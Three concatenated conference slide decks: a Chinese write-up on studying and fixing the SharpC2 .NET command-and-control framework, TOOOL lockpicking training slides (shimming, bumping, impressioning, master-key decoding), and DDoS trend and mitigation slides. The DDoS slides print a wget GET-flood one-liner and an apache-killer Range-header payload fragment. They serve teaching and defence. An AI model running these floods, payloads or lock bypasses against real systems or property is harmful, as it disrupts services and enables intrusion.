[ Hacker@KCon ]
pdf
我从SharpC2 上的学到的东西 Perface 在这里非常感谢 @RastaMouse 师傅开发的这款.NET C2,去年刚开始看的时候他的视频教程对我 帮助很大,期间作者也重构过代码,到现在还是很喜欢最新的 Experimental版代码 实话说这是我 从SharpSploit项目以来读到的第二份令人舒服的代码了。3端分离式设计,让我也慢慢培养自己如 何展现写代码前思路上的体现,让阅读代码的人非常舒服,这是我今后追求的目标。 今天对SharpC2学习做个收尾,(为什么要收尾呢,后面会提到)。不知道大家怎么看这款开源.NET C2,我是非常喜欢的,对待新手非常友好。好了 言归正传。 主要要分享3个点: 1. SharpC2 Experimental 版 bug修复以及各种踩坑 2. SharpC2 不足的地方 对待个人来说可以改进的地方 3. 简单总结下使用体会。 1. 无法上线bug修复 1.1 Perface 参考: https://twitter.com/bopin2020/status/1398693022074695682 1.2 解决办法 这个问题是因为 .NET DataContractJsonSerializer 对DateTime UTC序列化时导致溢出发生的, 参考: https://www.cnblogs.com/known/p/8735413.html Bug代码位置: Shared\Utilities\Utilities.cs 添加对日期格式的修改, 原项目是 .NET Core 3.1的,需要修改为 .NET 5.0, 因为 DataContractJsonSerializerSettings 该类在.NET 5.0才有 参考: https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.json.dataco ntractjsonserializersettings?view=net-5.0 .NET 自带的Json序列化类 在.NET 5进行了质的提升 1.3 如何分析问题的 由于上面我们将Shared修改为 .NET 5.0,因此 StagerHTTP 就不能使用 .NET Framework 4.0,为 了兼容我在测试时改为了4.8. 首先Beacon是怎么上线的,SharpC2采用Stager 方式,TeamServer在启动时会加载资源文件, 然后控制端连接后创建监听器,生成Stager后,运行Stager远程拉去Stage.dll 这是真正的 beacon。 这里画了个简单的图: 通过对比CS,msf上线 RDI 加载dll上线,.NET 使用了自带的内存加载 代码参考: 跟进 Stage 核心方法 Agent.Stage.HttpEntry() 方法 这里加载 ConfigController 配置控制器后 实例化HttpCommModle类,调用Execute方法 加载加密控制器,Agent控制器后,开始注册Beacon 功能模块,调用Start执行 每一个模块配置了不同的命令,分门别类非常清晰 也很适合扩展,有兴趣的朋友可以读下代码。 有朋友可能注意到了代码中我手动添加了很多提示语句,主要为了排错。到这里beacon还没有任 何问题,跟进agent.Start() 发送源数据然后循环接收数据 继续跟进发现是 SerialiseData 序列化数据出现问题,设置异常捕获发现问题,然后就寻找答案。 2. LastSeen 总是显示负数 这是个小问题 找到 计算时间差函数 修改 var diff = (DateTime.Now - LastSeen).TotalSeconds; 3. Others 其他bug, 发现控制端,beacon端过多时,执行命令无回显,通讯流量还有优化的空间。 某些小问题: Beacon UI上remove后再也不会上线了,当beacon checkin时做个判断如果UI上没有就添加即 可。 监听器不会驻留,每次启动TS,都得创建监听器,需要添加缓存机制,参考CobaltStrike. load-module 加载模块,beacon注册模块后 beacon console输入help 并无对应的命令帮助信 息,需要添加 beacon console有数据回来时,默认不会滚到ScrollToEnd() 关于WPF UI上的改进,原作者基本上使用了标准的控件,如果这些不能满足于你的需求也可以使 用WPF toolkit扩展控件。 关于这部分具体参考作者的 Project/To do https://github.com/SharpC2/SharpC2/projects/1 beacon console Tab 自动补全 Nested child agents grid view Colored output in text views Donut integration for shellcode generation Implement a Graph agent view Injection capabilities Data Persistence 这些功能基本上解决了目前的小问题或不足 ———— 改进和不足 SharpC2 更多的算是一个POC,Demo产品。如果想拿来用,需要对通讯流量进行改进,以及 WPF UI界面美化,更重要的是 ABU,SharpC2执行某些功能依然使用Pinvoke,这种方式会在.net 导入表中看到踪迹,也是一个特征 关于学习SharpC2建议 除了更容易的弄懂SharpC2,还有从SharpC2上我们可以学到的技术点,从设计角度以及功能实现 技术点展开。 1. TeamServer 需要学习Restful WebAPI,如果您之前有Web经验相信这很容易。还有上次提到了RestClient项目 2. Client控制端 需要学习 WPF GUI, 重点是数据绑定,命令,依赖注入,Style以及MVVM 3. Agent Beacon端的实现需要结合TeamServer端 数据加密,配置等。比较重要的是每一个功能模块独 立,从设计角度来看beacon,记得还有一个c2 beacon端全部使用插件完成的,这也是一个思 路。具体要实现怎样的功能,需要自己根据实际情况做好分类。 4. Others 关于C#语言层面的,这里仅列出SharpC2涉及的一部分, 异步任务,委托,事件,泛型,反射等 Further where go 还记得第一次看SharpC2时 提到了Web API,控制端和TeamServer通信时就是通过Restful API的, 本来还想着把Web API看看,也能弄个和SharpC2差不多的C2了,加上功能实现估计也就半年。 但是和朋友聊过后,决定可以把SharpC2放一段时间了,从去年开始看这款C2,到现在已经明白 对于C2 框架,Beacon端是核心,与其花时间弄一个Demo,倒不如开始Windows 核心编程把这 些东西先弄熟悉,后面写出来的项目不至于只能看,不能用。 对于和我一样的新手,因此我建议学习C2开发的路线应该是,先把整个C2框架需要弄清楚,从控 制端GUI,到TeamServer,Beacon怎么通信,功能怎么实现心中有了大概思路后开始学习 Windows核心编程。仅目前我所理解的Windows核心编程能够给我带来的东西就是 实现功能。例 如进程,线程,IPC,免杀,PE等都属于这类范畴。对了之前我还有一个困惑,就是对于学习.NET 的朋友, 《CLR via C#》这本书也同样是经典,在我没搞懂Windows核心编程前还打算后面重点 去看这本书的,我承认学习CLR这本书确实很好,但是就像我们上面提到的,学习C2具体功能实 现,CLR这本书无法提供这样的帮助,它可以帮助我们理解CLR的内部原理,对于.NET 开发任务, 理解CLR是.NET技术上的进阶,当然这归属于编程语言范畴,这是我认为它两之间的区别。
pdf
http:// toool us Lockpick Village Pins Wafers Combo Resist ant Bumpi ng Impres sion Master ing Picks Why do Locks Matter ? http:// toool us Locks Hold a Special Place in Our Lives http:// toool us Locks Hold a Special Place in Our Lives http:// toool us Locks Hold a Special Place in Our Lives http:// toool us Locks Hold a Special Place in Our Lives http:// toool us “What Does a Lock Signify?” (Schuyler Towne at RVAsec 2012) http:// toool us “What Does a Lock Signify?” (Schuyler Towne at RVAsec 2012) http:// toool us “What Does a Lock Signify?” (Schuyler Towne at RVAsec 2012) http:// toool us “What Does a Lock Signify?” (Schuyler Towne at RVAsec 2012) http:// toool us “What Does a Lock Signify?” (Schuyler Towne at RVAsec 2012) http:// toool us Puzzles http:// toool us Puzzles http:// toool us Puzzles http:// toool us Lockpicking is fun puzzle solving for us http:// toool us Try your hand at Lockpicking Games… http:// toool us … Win Fabulous Prizes and Become Famous! http:// toool us The Competition Can Get Serious Intro to Lockpicking http:// toool us First, a word about rules… Yes, we have rules. J 1. Do not pick locks which you do not own. 2. Do not pick locks upon which you rely. http:// toool us The Three Kinds of Lock-Opening http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty– what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us Lockpicking is Easy ! http:// toool us Pin Tumbler Locks http:// toool us Pin Tumbler Locks http:// toool us Pin Tumbler Locks http:// toool us Outer View http:// toool us Inner View http:// toool us Attempt Without a Key http:// toool us Operating With a Key http:// toool us Pin Stacks http:// toool us Key Operation http:// toool us One Bitting Too Low http:// toool us One Bitting Too High http:// toool us In a Perfect World http:// toool us In the Real World http:// toool us In the Real World http:// toool us In the Real World http:// toool us “Setting” a Binding Pin http:// toool us The Key Pin Can Still Move Freely http:// toool us Setting Multiple Pins http:// toool us Take Caution to Avoid Over-Lifting Other Tools One Uses http:// toool us Raking http:// toool us Raking http:// toool us The Half-Diamond http:// toool us Lifting with a Half-Diamond http:// toool us Raking / Shoveling with a Half-Diamond http:// toool us Using the Flat Underside http:// toool us Using the Flat Underside http:// toool us Counting Pin Stacks http:// toool us Counting Pin Stacks http:// toool us Counting Pin Stacks Turning Tools http:// toool us Bad Turning Tool Usage (Pulling) http:// toool us Better Turning Tool Usage (Pushing) http:// toool us Best Turning Tool Usage (Pushing Out at Tip) http:// toool us Good Turning Tool Pressure http:// toool us Too Much Turning Tool Pressure! http:// toool us Turning Tool Position: “Edge of the Plug” http:// toool us “Standard” Turning Tools http:// toool us Space in the Keyway http:// toool us Space in the Keyway http:// toool us Careful to not Cause Extra Friction http:// toool us “Standard” vs “Flat” Turning Tools http:// toool us Turning Tool Position: “Center of the Plug” http:// toool us More Space in the Keyway http:// toool us Turning Direction http:// toool us Turning Direction http:// toool us Turning Direction http:// toool us Turning Direction http:// toool us Turning Direction http:// toool us Turning Direction Left-Handed Door Right- Handed Door Who Wants To Try? http:// toool us Practice Locks http:// toool us Our Practice Locks The silver part is the front face… … the brass ring is the rear! http:// toool us Either Direction Will Work http:// toool us Starter Exercises http:// toool us Starter Exercises http:// toool us Starter Exercises http:// toool us Starter Exercises http:// toool us Direct Lifting http:// toool us Rocking Lifting http:// toool us The Two Most Important Things… RELAX http:// toool us The Two Most Important Things… OPEN ! http:// toool us Questions? Wafer Locks http:// toool us Wafer Locks http:// toool us Wafer Locks http:// toool us Wafer Locks – Outer View http:// toool us Wafer Locks – Inner View http:// toool us Wafer Locks – Operating Action http:// toool us Wafer Lock Usage http:// toool us Wafer Lock Usage http:// toool us Wafer Lock Usage http:// toool us Questions? Combination Locks http:// toool us Combination Locks http:// toool us If You Are Doing This… http:// toool us If You Are Doing This… … What You Are Saying Is This http:// toool us Padlock Shims http:// toool us Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us Homebrew Padlock Shims http:// toool us A tale of Homebrew Shims http:// toool us A tale of Homebrew Shims http:// toool us A tale of Homebrew Shims http:// toool us A tale of Homebrew Shims http:// toool us A tale of Homebrew Shims http:// toool us Single Latch or Dual Latch ? http:// toool us Shim-Proof Padlocks… Double-Ball Mechanism http:// toool us Shim-Proof Padlocks… Double-Ball Mechanism http:// toool us Shim-Proof Padlocks… Double-Ball Mechanism http:// toool us Shim-Proof Padlocks… Double-Ball Mechanism http:// toool us Some People Seemingly Don’t Know There’s a Risk http:// toool us Some People Seemingly Don’t Know There’s a Risk http:// toool us Decoding the Combination ? http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination 2½############12½############22½###########32½# http:// toool us Decoding the Combination 2½############12½############22½###########32½# ? http:// toool us Decoding the Combination 2½############12½############23½###########32½# ü http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http:// toool us Decoding the Combination http://deviating.net/lockpicking/media/masterlock.xls http:// toool us Decoding Multi-Wheel Combinations http:// toool us A New Kind of Combination Padlock http:// toool us A New Kind of Combination Padlock http:// toool us A New Kind of Combination Padlock http:// toool us A New Kind of Combination Padlock http:// toool us A New Kind of Combination Padlock http:// toool us Questions? Pick-Resistant Locks http:// toool us Pick-Resistant Keyways Simple… … straight and wide http:// toool us Pick-Resistant Keyways Simple… … straight and wide Medium… … straight but narrow http:// toool us Pick-Resistant Keyways Simple… … straight and wide Medium… … straight but narrow Complex… … thinner and curvy http:// toool us Pick-Resistant Keyways Simple… … straight and wide Medium… … straight but narrow Complex… … thinner and curvy Hard… … lots of angles http:// toool us Pick-Resistant Keyways Simple… … straight and wide Medium… … straight but narrow Complex… … thinner and curvy Hard… … lots of angles Fiendish… … overlapping wards http:// toool us Pick-Resistant Pins http:// toool us Pick-Resistant Pins – Spool Pin http:// toool us Pick-Resistant Pins – Spool Pin Binding http:// toool us Pick-Resistant Pins – Spool Pin Picking http:// toool us Pick-Resistant Pins – Mushroom Pin http:// toool us Pick-Resistant Pins – Serrated Pin http:// toool us Pick-Resistant Pins – ASSA “Sneaky” Pin http:// toool us Pick-Resistant Pins – TrioVing “Double Mushroom” Pin http:// toool us Pick-Resistant Locks a substantial improvement… …can be picked, but only with much skill and time http:// toool us Questions? Bumping Attacks http:// toool us Lock Bumping • Just a Special Key • Little Special Skill • Many Locks are Vulnerable • Exploit Related to Pick Gun Physics http:// toool us Lock Bumping http:// toool us Lock Bumping http:// toool us Snapping Guns http:// toool us Snapping Guns http:// toool us Snapping Guns http:// toool us Snapping Guns http:// toool us Lock Bumping – Pull Method http:// toool us Lock Bumping – Push Method http:// toool us Lock Bumping – Push Method http:// toool us Lock Bumping http://toool.nl/bumping.pdf http:// toool us Lock Bumping photo courtesy of datagram http:// toool us Bumping Countermeasures – Top Gapping http:// toool us Bumping Countermeasures – Anti-Bump Driver Pin http:// toool us Bumping Countermeasures – Anti-Bump Driver Pin http:// toool us Bumping Countermeasures – Anti-Bump Driver Pin http:// toool us Bumping Countermeasures – Anti-Bump Driver Pin Part Number 7000BH 00 10 List Price $17.82 Dealer Price $8.91 Part Number 7000BH 00 10 List Price $17.82 Dealer Price $8.91 http:// toool us Bumping Countermeasures – Anti-Bump Driver Pin http:// toool us Locksmiths http:// toool us Locksmiths http:// toool us Locksmiths http:// toool us Locksmiths http:// toool us Locksmiths http:// toool us Locksmiths 1.  ALOA logo / ALOA number 2.  Name Discrepancies 3.  Estimates & Itemized Invoice 4.  Credentials & Identification http:// toool us Locksmiths http:// toool us Questions? Impressioning http:// toool us Why Impressioning ? http:// toool us Why Impressioning ? http:// toool us Impressioning – Blank Key to Raise all Stacks http:// toool us Impressioning – Turn Hard to Bind a Key Pin http:// toool us Impressioning – Binding and Wiggling Causes Rubbing http:// toool us Impressioning – Observe the Rub Marks http:// toool us Impressioning – Observe the Rub Marks http:// toool us Impressioning – Observe the Rub Marks http:// toool us Impressioning – File Down at the Rub Marks http:// toool us Impressioning – Repeat the Process http:// toool us Impressioning – Stack 4 is still Binding http:// toool us Impressioning – Stack 4 is still Rubbing http:// toool us Impressioning – Stack 2 is still Binding http:// toool us Impressioning – Stack 2 is still Rubbing http:// toool us Impressioning – Continued Rub Marks http:// toool us Impressioning – Continued Rub Marks http:// toool us Impressioning – Continued Rub Marks http:// toool us Impressioning – Continued Filing http:// toool us When the Key is Inserted Now… http:// toool us Pin Stack Number 4 is No Longer Binding http:// toool us You’ll Know This Has Happened When New Marks Appear http:// toool us You’ll Know This Has Happened When New Marks Appear http:// toool us You’ll Know This Has Happened When New Marks Appear http:// toool us You’ll Know This Has Happened When New Marks Appear http:// toool us You’ll Know This Has Happened When New Marks Appear http:// toool us It’s Delicate & Intricate Work http:// toool us It’s Delicate & Intricate Work Can You Spot the Mark Here, By The Way ? http:// toool us It’s Delicate & Intricate Work Bazinga. Bazinga. http:// toool us It’s Delicate & Intricate Work http:// toool us It’s Delicate & Intricate Work http:// toool us Open ! http:// toool us Open ! http:// toool us Open ! http:// toool us Impressioning Competitions http:// toool us Impressioning Competitions http:// toool us Impressioning Competitions http:// toool us Questions? Master-Keyed Systems http:// toool us Master-Keyed Systems • Varied permissions • Sometimes keyway control • Privilege Escalation http:// toool us Master-Keyed Systems http:// toool us Master-Keyed Systems http:// toool us Master-Keyed Systems http:// toool us Finding the Master Bitting Depths 8 Original key cut depth... Lock opens http:// toool us Finding the Master Bitting Depths 0 Leave this position uncut... Lock does not open http:// toool us Finding the Master Bitting Depths 2 Cut down slightly... Lock does not open http:// toool us Finding the Master Bitting Depths 4 Cut down a little more... Lock still does not open http:// toool us Finding the Master Bitting Depths 6 Cut down more... Lock opens! http:// toool us Finding the Master Bitting Depths “Master-Keyed Lock Vulnerability” by Matt Blaze 2003-01-27 http://www.crypto.com/ papers/mk.pdf http://www.crypto.com/ masterkey.html http:// toool us Questions? Distinguishing Picks http:// toool us There are many lockpick vendors… http:// toool us There are many lockpick vendors… http:// toool us There are many lockpick vendors… http:// toool us Selling many lockpicking tools http:// toool us First, let’s talk about metal… http:// toool us Spring Steel http:// toool us Stainless Steel http:// toool us Titanium http:// toool us Other Metals ? http:// toool us Thickness 0.0 1 5” – Peterson “Government Steel” 0.020” – SouthOrd, Rytan, Southern Specialties, TOOOL 0.022” – HPC Stainless 0.025” – original TOOOL kits 0.028” – HPC Spring Steel http:// toool us “Standard” vs. “Euro” http:// toool us “Standard” vs. “Euro” http:// toool us “Standard” vs. “Euro” http:// toool us “Standard” vs. “Euro” http:// toool us The real confusing mess… Categories & Names http:// toool us What would you call these ? http:// toool us Hooks (a.k.a. Lifters) http:// toool us Hooks (a.k.a. Lifters) http:// toool us Hooks (a.k.a. Lifters) Short Hook (flat) Short Hook (round) Medium Hook Gonzo Hook Long Hook http:// toool us Hooks (a.k.a. Lifters) Typical Useful Meh Awesome FAIL http:// toool us What would you call these ? http:// toool us Reach Tools Deep Curve Hybrid http:// toool us You’ve all seen these… http:// toool us Diamonds http:// toool us Diamonds http:// toool us Diamonds Small Diamond Medium Diamond Large Diamond Diamond Head http:// toool us Diamonds Maybe Yes No Dear God, Why ?? http:// toool us How would you categorize these…? http:// toool us Offset Tools http:// toool us Offset Tools Offset Diamond Offset Ball Offset Snake http:// toool us Offset Tools Yeah, sure. Meh, why not ? I suppose. http:// toool us Balls, balls, balls… http:// toool us Balls, balls, balls… http:// toool us Balls, balls, balls… Single Ball Snowman Half Snowman Half Ball http:// toool us Balls, balls, balls… Pretty Useless Can Be Useful Tight Spaces ? We Will Mock You http:// toool us What would you call these ? http:// toool us Raking tools… Welcome to Crazy Land http:// toool us Raking Tools Snake Three Quarter Snake Half Snake Double Snake Stretched Snake Batarang a.k.a. C Rake, Double Rake a.k.a. Quad Rake a.k.a. S Rake a.k.a. S Rake, Camel Back a.k.a. Rake-and-a- Half a.k.a. Single Rake http:// toool us Raking Tools Snake Three Quarter Snake Half Snake Double Snake Stretched Snake Batarang a.k.a. C Rake, Double Rake a.k.a. Quad Rake a.k.a. S Rake a.k.a. S Rake, Camel Back a.k.a. Rake-and-a- Half a.k.a. Single Rake Dangerous Weakness http:// toool us What about something like this… http:// toool us “Raking” vs. “Lifting” http:// toool us Raking http:// toool us Raking http:// toool us Lifting http:// toool us Jagged Lifters Wedge Rake Long Rake Falle Slope Falle Valley Falle Hump a.k.a. W Rake, Short Jag, Ramped Tool, & Stupid a.k.a. Long Rimple a.k.a. L Rake, Long Jag, Ripple, & Saw Tooth http:// toool us So, what on earth are these ? http:// toool us King & Queen King Pick Queen Pick http:// toool us A major innovation in pick tools Thanks to Minnesota… … with a nod to Colombia http:// toool us Raimundo’s Family of Tools http:// toool us It Started with Two Tools… “Jiggler” Tools http:// toool us What is Jiggling ? In Between Raking & Lifting … http:// toool us What is Jiggling ? … There is “Jiggling” http:// toool us Bogota Family Bogota Single Hump a.k.a. Hollow Half Diamond ´ ´ http:// toool us Bogota Family ´ Bogota Single Hump a.k.a. Hollow Half Diamond Two Hump a.k.a. Camel Quad Hump Sabana ´ http:// theamazingking.com/ bogota.html http:// toool us Questions? Lockpicking & Forensics http:// toool us Keys Touch Very Specific Places http:// toool us Virgin Pins Have Specific Patterns From Manufacturing http:// toool us Concentric Tiny Ridges on Pin Face http:// toool us 250 Uses Those Rings “Polish Away” With Use http:// toool us 1500 Uses Those Rings “Polish Away” With Use http:// toool us 5000 Uses Those Rings “Polish Away” With Use http:// toool us 250 Uses The Plug Picks Up Marks From Driver Pins http:// toool us 1500 Uses The Plug Picks Up Marks From Driver Pins http:// toool us 5000 Uses The Plug Picks Up Marks From Driver Pins http:// toool us Picks Touch Places That Keys Don’t http:// toool us Wear and Tear or Toolmarks ? http:// toool us Wear and Tear or Toolmarks ? http:// toool us Wear and Tear or Toolmarks ? http:// toool us Wear and Tear or Toolmarks ? http:// toool us Forensics – Lifting Picking http:// toool us Forensics – Raking http:// toool us Forensics – Mixed Styles of Picking http:// toool us Forensics – Ugh… Who Did This ?? http:// toool us Forensics – Even Skilled Pickers and Soft Touches Leave Marks http:// toool us Forensics of Snapper Guns http:// toool us Repeated Snap Marks http:// toool us Some People Poke Too Deep http:// toool us Tools Too Deep – Marks in Rear Top of Keyway http:// toool us Tools in Too Deep – Marks on Tail Cap http:// toool us Tension Tools in the Keyway http:// toool us Tension Tools can “Pinch” the Keyway http:// toool us Tension Tools can “Pinch” the Keyway http:// toool us Fraudulent Toolmarks http:// toool us Fraudulent Toolmarks http:// toool us Bump Key Forensics http:// toool us Bump Key Forensics http:// toool us Bump Key Forensics http:// toool us Bump Key Forensics http:// toool us Bump Key Forensics http:// toool us Questions? Resources for Learning More http:// toool us Resources For Learning More • Books –  Practical Lock Picking & other books by Deviant Ollam –  High Security Mechanical Locks by Graham Pulford –  Locks, Safes, & Security by Marc Tobias • Videos –  YouTube & Google –  http://connect.waag.org/toool –  http://deviating.net/lockpicking/videos.html • On The Web –  http://toool.us ‒ http://toool.nl –  http://blackbag.nl ‒ http://deviating.net http:// toool us Resources For Learning More http:// toool us Legal Questions • We are not lawyers • Purchase/Shipping through mail –  Lock manufacturer –  Auto dealer –  Law enforcement –  Repo man –  Bona fide locksmith • Possession & use –  Burglary tools statutes –  During an illegal act http:// toool us Legal Questions Legal by statute Legal, no criminal statute Legal, but note other laws Prima Facie clause Picks are more http:// toool us Acquiring Locks • Free – Basements, garages, yard sales – Ask neighbors, ask locksmiths • For sale – Vary your sources – Hardware store vs. eBay • Specialized – Progressive kits – Ultimate practice lock Security in the Real World http:// toool us Security in the Real World http:// toool us Security in the Real World http:// toool us Security in the Real World http:// toool us Security in the Real World • Technical Finesse or Brute Force – $100 lock in a $10 door? • Doors – Solid core, heavy hinge – Anti-thrust bolts and latches • Windows – Shatterproof film – Vulnerable to lifting? (sliding glass) http:// toool us Security in the Real World Lockpicking TOOOL provides the knowledge and the means Quick & Dirty ß guard against these attacks TOOOL provides knowledge. . . but no means Covert & High-Tech What People Think About Lockpickers… http:// toool us Some People Think We Are Shady… http:// toool us …But We Are Regular Folks http:// toool us Young and Old… http:// toool us …Men and Women http:// toool us We Like Working With Our Hands… http:// toool us …And Learning New Things http:// toool us It’s Healthy Competition http:// toool us Where The Fastest Time Wins http:// toool us Thank You For Listening http:// toool us This presentation is CopyLeft by Deviant Ollam. You are free to reuse any or all of this material as long as it is attributed and freedom for other s to do Thank You Very Much http:// toool.us info@toool. us
pdf
DDoS – Yesterday, Today and tomorrow Frank Tse, William Guo Nexusguard Page § 2 Agenda DDoS Introduction DDoS Attack Analysis DDoS Detection and Mitigation Fighting DDoS in Mobile Era 1 2 3 4 FAQ 5 Page § 3 About us Nexusguard, incorporated in 2008, is a premium provider of end-to-end, in-the-cloud Internet Security Solutions. Nexusguard delivers solutions over the internet to ensure that our clients enjoy uninterrupted web- service delivery to their users, by protecting them against the ever- increasing and evolving multitude of internet threats, particularly Denial- of-Service (DDoS) attacks, and other attacks directed at web application software. Page § 4 What is DDoS §  A distributed denial-of-service (DDoS) attack is one in which a multitude of compromised systems attack a single target, thereby causing denial of service for users of the targeted system. §  The flood of incoming messages to the target system essentially forces it to shut down, thereby denying service to the system to legitimate users. What is DDoS Page § 5 5 Zombies on innocent computers Server-level DDoS attacks (Protocol / Application) Infrastructure-level DDoS attacks Bandwidth-level DDoS attacks Page § 6 What is DDoS Credit http://www.wired.com/politics/security/magazine/15-09/ff_estonia_bots Page § 7 DDoS in the news Motivation of Cyber Attack Page § 8 Page § 9 DDoS vs. Hacking DDoS Hacking If (Availble){ try { SQLi, XSS, CSRF MITM, Brute Force, Reverse Engineering, Buffer Overflow, RFI, Session Hijacking, Information Leakage, Defacement, something cool } catch (data) finally { DDoS } while (Available){ try { DDoS()} finally { Give_up()} Page § 10 Trend of DDoS attack POC Organized Collaborated Volume Focus 0-day focus 2008 2009 DJB33X 100+Gbps / 70Mpps Page § 11 DDoS Attack – Brief History Packet Generator Packet Crafter Creative Attacks Page § 12 DDoS - Yesterday 2002 root DNS attack All thirteen (13) DNS root name servers were targeted simultaneously. Attack volume was approximately 50 to 100 Mbits/sec (100 to 200 Kpkts/ sec) per root name server, yielding a total attack volume was approximately 900 Mbits/sec (1.8 Mpkts/sec). Attack traffic contained ICMP, TCP SYN, fragmented TCP, and UDP. Some attack types you might heard of ICMP flood, Ping flood, UDP flood, IP Fragment, SYN flood, Teardrop, ACK flood, RST flood, Land attack, smurf attack, Ping to death, Nuke, ARP Poison, Reflex attack, TCP NULL, XMAS, Malformed TCP flags, PUSH ACK flood, DNS query flood, GET flood, POST flood, authentication flood, de-authentication flood, SIP flood Page § 13 DDoS - Yesterday Tools (comes with your OS) Ping, telnet, wget Tools ( can easily get from internet) hping, scapy, cURL, Library: Libpcap-dev, libthread, libnet-dev, netinet/*.h, string.h for ((i=0;i<100;i++)) do `wget target.com &`; done Simple GET flood in 1 line Page § 14 DDoS - Today •  Open source, •  Cross platform, •  More in flow control, •  More in application layer Tools ( can be easily get from internet) apache-killer.pl, slowloris.pl, slowhttptest, LOIC, HOIC, via IRC channel Library: Libpcap-dev, libthread, libnet-dev, urllib, libpcap-dev, libdnet-dev, socket Page § 15 DDoS - Today $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r \nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n”; apache-killer.pl Page § 16 DDoS - Today -w bytes start of the range advertised window size would be picked from. Effective in slow read (-X) mode only, min: 1, default: 1 -y bytes, end of the range advertised window size would be picked from. Effective in slow read (-X) mode only, min: 1, default: 512 -x bytes, max length of each randomized name/value pair of follow up data per tick, e.g. -x 2 generates X-xx: xx for header or &xx=xx for body, where x is random character, default: 32 -z bytes bytes to slow read from receive buffer with single read() call. Effective in slow read (-X) mode only, default: 5 Slowhttp ‘test’ Page § 17 DDoS – Tomorrow •  0-day focused •  Standardized – part of worms and bots •  DDoS as a project, in a team •  Focus on target application Tools: HashDDoS – DJB33X, protocol fuzzer, iFrame bot, js bot, Unicornscan (2007), plug-in for worms, mobile bots DDoS as a Service: DDoS attack repository, open DDoS ‘testing’ server, RFC for DDoS, “Like” this attack, DDoS ‘app’ market, auto CAPTCHA breaking Page § 18 DDoS – Tomorrow Internet is designed for inter-connect, goodwill in self-discipline Internet is NOT designed for security. TCP is : designed for state-ful, connection-oriented connection, TCP is NOT: temper proof synchronized source authenticate sensitive to intercept (MITM) Page § 19 DDoS – Tomorrow Unicronscan (http://www.unicornscan.org/ ) Unicrons are fast! Asynchronous stateless TCP scanning with all variations of TCP Flags. Asynchronous stateless TCP banner grabbing Asynchronous protocol specific UDP Scanning Page § 20 DDoS – Tomorrow Web Shell Credit http://ddos.arbornetworks.com/2012/02/ddos-tools/ Page § 21 DDoS Detection and mitigation– Brief History Collect & Filter Detect & Challenge Learn & Fight back Page § 22 DDoS Detection and mitigation – Yesterday •  Blackhole •  Rate-limiting •  ACL •  iptables •  CoPP •  SYN-cookie •  IDS •  IPS •  Load balancing •  Port-security •  Detection: SNMP, netflow Page § 23 DDoS Detection and mitigation – Today •  DNS poisoning •  CDN •  WAF •  Hot-link protection •  CAPTCHA •  Source authentication •  Detection: SNMP, Netflow, PCAP Page § 24 DDoS Detection and mitigation – Tomorrow •  Browser authentication •  User behavior validation •  Application learning •  User-id correlation •  Differentiate mitigation •  Bot / tools identification •  (Friendly) Attack back •  Detection: SNMP, Netflow, PCAP, logs + big data "Apparently the war is over and you are ordered to cease firing; so, if you see any Jap planes in the air, you will just have to shoot them down in a friendly manner.” - Admiral Halsey, 1945 Next Generation Detection---Profiling and Data Mining Page § 25 A HTTP Get Flood Attack Analysis Page § 26 A HTTP Get Flood Attack Analysis Page § 27 Next Generation Detection---With Google API ? Page § 28 Mobile Internet & Web API Page § 29 API  Request  Load 30 •  Make  money ž  60%  of  all  lis2ngs  on  eBay.com  added  via  their  APIs •  Save  money ž  SmugMug  saves  >  $500K/year  with  Amazon  S3  Storage •  Build  brand ž  Google  Maps  300%  growth  vs  20%  MapQuest •  Move  to  the  cloud ž  Over  50%  of  all  transac2ons  via  their  API,  Force.com •  Go  anywhere ž  NeQlix  now  available  on  over  200  devices Credit  :  ProgrammableWeb Flipboard / Instgram Down? Page § 31 Know it before you hack it Page § 32 API Abused DDoS Page § 33 §  API Security Threats -  API Key spoofing -  API Throttling bypass -  Quota System bypass -  API ACL (Private API accessed by Public) §  API Request DDoS -  HTTP/HTTPS GET flood -  HTTP/HTTPS POST flood -  PUT/DELETE/HEAD ? What if it’s not abuse? Page § 34 100,000 Users Have Downloaded Malware From Google Play Google/ Alternative Android Markets and the Audit Policy Page § 35 Mobile Device Botnet---Existing Apps Page § 36 Android DDoS Tool Available in Google Play 1.  Requires Internet access to send the http post data 2.  Requires phone state to access the IMEI Pretty common requirement for Apps. Page § 37 Mobile Device Botnet--- Free App Generator Next Generation Detection---Profiling and Data Mining §  Traffic Baseline -  HTTP Field Pattern -  HTTP Traffic Volume -  TCP Connections §  IP Ranking -  Geo IP 